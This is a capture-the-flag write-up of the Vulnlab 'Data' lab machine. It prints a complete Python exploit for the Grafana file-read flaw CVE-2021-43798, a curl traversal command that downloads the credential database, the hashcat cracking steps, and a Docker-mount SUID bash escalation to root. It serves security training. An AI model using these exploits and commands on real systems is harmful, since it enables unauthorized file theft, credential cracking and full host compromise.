Vulnlab's Data (Easy) Linux Machine - WriteUp

Hello Everyone ! This writeup is on the Vulnlab's data (easy) Linux machine. Initial access is through exploiting an CVE of grafana to read usernames & password hashes. Reconstruct the password as per the required format to run it against hashcat which cracks the password. SSH into the machine using the obtained information to get low level user shell.

User is allowed to run docker exec with sudo permissions. Abusing that we get into the running container as root. With root privileges inside container, It was possible to abuse the host system file mounts which allowed to copy SUID set bash binary into the path accessible by low level user on host system. we escalated to root shell using that.

Enumeration

NMAP Scan

sudo rustscan --ulimit 5000 -b 500 -a 10.10.125.191 -- -sC -sV -Pn | tee data.nmap 

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.125.191:22
Open 10.10.125.191:3000

---- SNIP ----

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:8f:c9:73:23:16:6f:b4:52:f8:f7:18:59:ee:c3:1a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcxzmL05K7qYzahTVCCDtxjdE43VbKj1ZetpkhVrIJrWFwdc48OiHYfxuLYXcFzQe/c3wyTHBM/dAEhyl+hVb9IVe46his4k07L3ItMa+H5JG5nfSshat32ICJB0zaFOyiQDVUfOJuOOJx/D4XKA1NPZMcbLS4HNepyvwOV2/KF5YqM+jmzW6cqeeyzvJ7u3GMDtOsWxHE1PpXZ9oSgJLqNHv4MDBFMR6OLvhMODLjCCbdtZYjpwzuKhHVw3bp6tT2CSRDN508Avc5R3DxqXHqIuIiJ9ub/0D96MiiWJHvhMyyBAClnLZ78PdjnYgOSie6NfuLdzUijWYf83gA3JQZ
|   256 38:e7:42:ab:c5:8d:ba:38:a4:a2:7d:60:05:38:bc:48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA1FuX5IakjVw5PN32/nAmCYnjWyfkqG+MSaGEItFqRnHTXTxOx1dLC/CsybBnnWDVX85n13YU1o0yDmURJBtHo=
|   256 91:f4:8b:a0:24:ef:28:bd:0c:53:5c:21:21:18:ca:74 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINuJegkmYx37yx+tqqRY8JOPVt5u16MdLRbwT9ilsKka
3000/tcp open  ppp?    syn-ack ttl 62
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Sun, 21 Apr 2024 06:50:42 GMT
|     Content-Length: 29
|     href="/login">Found</a>.

---- SNIP ----

Information from NMAP Scan

  • Port 22 is open, which can used used later if we get some valid credentials/ssh private keys
  • Port 3000 is open - Based on the results, It appears to be a webpage with a login endpoint

Web Enumeration

  • There is a grafana instance hosted and the version details are displayed on the login page

  • Lets google the version number and see if there are any known vulnerabilities and exploits present
  • Search results immediately points to CVE-2021-43798 & exploit on https://www.exploit-db.com/exploits/50581

  • The CVE is an Unauthenticated File read & Directory Traversal vulnerability and affected versions are V8.0.0-beta1 through V8.3.0
  • The exploit is written in python. Let's go through the code to understand how the exploit works
import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    "candlestick",
    "cloudwatch",
    "dashlist",
    "elasticsearch",
    "gauge",
    "geomap",
    "gettingstarted",
    "grafana-azure-monitor-datasource",
    "graph",
    "heatmap",
    "histogram",
    "influxdb",
    "jaeger",
    "logs",
    "loki",
    "mssql",
    "mysql",
    "news",
    "nodeGraph",
    "opentsdb",
    "piechart",
    "pluginlist",
    "postgres",
    "prometheus",
    "stackdriver",
    "stat",
    "state-timeline",
    "status-histor",
    "table",
    "table-old",
    "tempo",
    "testdata",
    "text",
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

Code Explanation

  • There is a list of known public plugins of grafana stored in the plugin_list
  • Function exploit gets the file name as input which we are trying to read and makes a web request to IP:PORT/public/plugins/[any plugin name from the plugin_list]/../../../../../../../../../../../../../[file_to_read]
  • If the plugin is present, then grafana instance will process the request and interpret sequence of ../../ as the valid file path and include the file in response.
  • If the plugin is not present or the file name provided as input is not present, then it return error or blank response.

Initial Access

  • This vulnerability allows us to read the files on the system. Since port 22 (SSH) is also open, Our obvious next step is to try get the users present through /etc/passwd file and search for ssh private keys on the respective home directory.
  • Instead of using the exploit, I'm going to try manually exploit it with the help of Burp
  • We'll copy all the plugins present in the code to a file, which we can use it on the Intruder module
  • Start burp and capture one request
  • Right click on the request and sent it to Intruder
  • Configure Intruder to send the required request. $plugin_name$ will replace the plugin name that we have provided in the payload

  • On starting the attack, There are so many successful results and we found multiple valid plugins for further exploitation

  • There is a user grafana and the home directory is /home/grafana
  • Let's send this request to repeater and see if this user has any SSH private keys
  • SSH keys are generally present on the home directory of the user under .ssh hidden folder
  • There are different types of SSH keys as well - The user could be using any one of the type (dsa | ecdsa | ecdsa-sk | ed25519 | ed25519-sk | rsa)
  • The known files inside the .ssh folders are - id_rsa (or any of the above type) , known_hosts, authorized_keys etc.
  • Unfortunately we could not find any SSH keys.

Digging deeper about Grafana

  • Let's start checking the grafana documentation (grafana.com/docs/grafana/latest/setup-grafa..) to see if we can find any location of configuration files, secret files if any
  • The location of the configuration file stands out to be - /etc/grafana/grafana.ini
  • Read the file to see if we can find any further hints

  • Configuration file confirms that sqlite3 being used and the db file name is grafana.db

  • Further checking the documentation shows the location of the database file

  • We get a successful response accessing the db.

  • Curl can be used to save the file
  • Add --path-as-is and -o flag to save the output
    • --path-as-is flag is to tell curl to interpret ../ as is, otherwise it will skip it
curl --path-as-is http://10.10.125.191:3000/public/plugins/alertlist/../../../../../../../../../../../../../../var/lib/grafana/grafana.db -o grapfana.db
  • The .db file can be opened using sqlitebrowser tool. Let's open it and explore the tables to find any sensitive information on it
sqlitebrowser grapfana.db
  • There is a table named user and it gives the user details

  • It looks like the password is hashed. lets google to find out what type of hashing algorithm does grafana uses.
  • Google search leads us to this code and this shows that the password are hashed using PBKDF2+SHA256
// EncodePassword encodes a password using PBKDF2.
func EncodePassword(password string, salt string) (string, error) {
    newPasswd := pbkdf2.Key([]byte(password), []byte(salt), 10000, 50, sha256.New)
    return hex.EncodeToString(newPasswd), nil
}
  • one of the hashcat examples points to this mode
  • We need to convert our password hash similar to above format
  • A little research takes us to this link. Required format is sha256:<iteration>:<base64-salt>:<base64-password-hash> . We have all the required details from the table and the iteration is 10000, which is present on the above code
  • As per the EncodePassword grafana code - the password output is hex, so we need to decode from hex and then convert to base64. For salt, we can directly encode to base64
  • Final Output after conversion using cyberchef is `sha256:10000:TENXXXXXXXXbA==:3GvszLtX002vXXXXXXXXXXXXXXXXXXXXXXXXXxk1PjX1O1Hag=

  • Run hashcat with mode 10900

hashcat -m 10900 --force "sha256:10000:TENXXXXXXXXbA==:3GvszLtX002vXXXXXXXXXXXXXXXXXXXXXXXXXxk1PjX1O1Hag=" /usr/share/wordlists/rockyou.txt

  • Password cracked.

  • Test if we can SSH using this credentials and we are successfully logged in as boris

Privilege Escalation

  • Run sudo -l , reveals that we can run docker exec with root privileges

  • In order to run docker exec , we need to know the container name or id. Unfortunately we don't have permission to run docker ps.
  • Let's run linpeas to see if we can gather additional details

  • On the running process, we could see the id of an running container. we can switch to the container using below command as a privileged user

sudo docker exec -it --privileged --user 0 e6ffXXXXXXXXXXXXXXXXXXXXXXXXXXX42339d4b81 /bin/bash

  • Run linpeas again on the container and we can see there is an escalation path via mounts

  • Run df -a, The host drive is present and we can mount it to get access to host file system as root

mount /dev/xvda1 /home/grafana/v3l5

  • Now we have access to host file system, but still we are in the container.
  • Since we have a low level user access on the host machine, we can set suid bit for bash binary inside the container and place it on /home/boris directory.
  • The SUID set bash is accessible by boris which allows us to escalate to root
cp /home/grafana/v3l5/bin/bash /home/grafana/v3l5/home/boris/bash
cd /home/grafana/v3l5/home/boris/
chown root:root bash
chmod 4777 bash
  • On host , we can see SUID is set for bash under /home/boris

  • Run ./bash -p to get a root shell

References

Did you find this article valuable?

Support Vel Muruga Perumal Muthukathiresan by becoming a sponsor. Any amount is appreciated!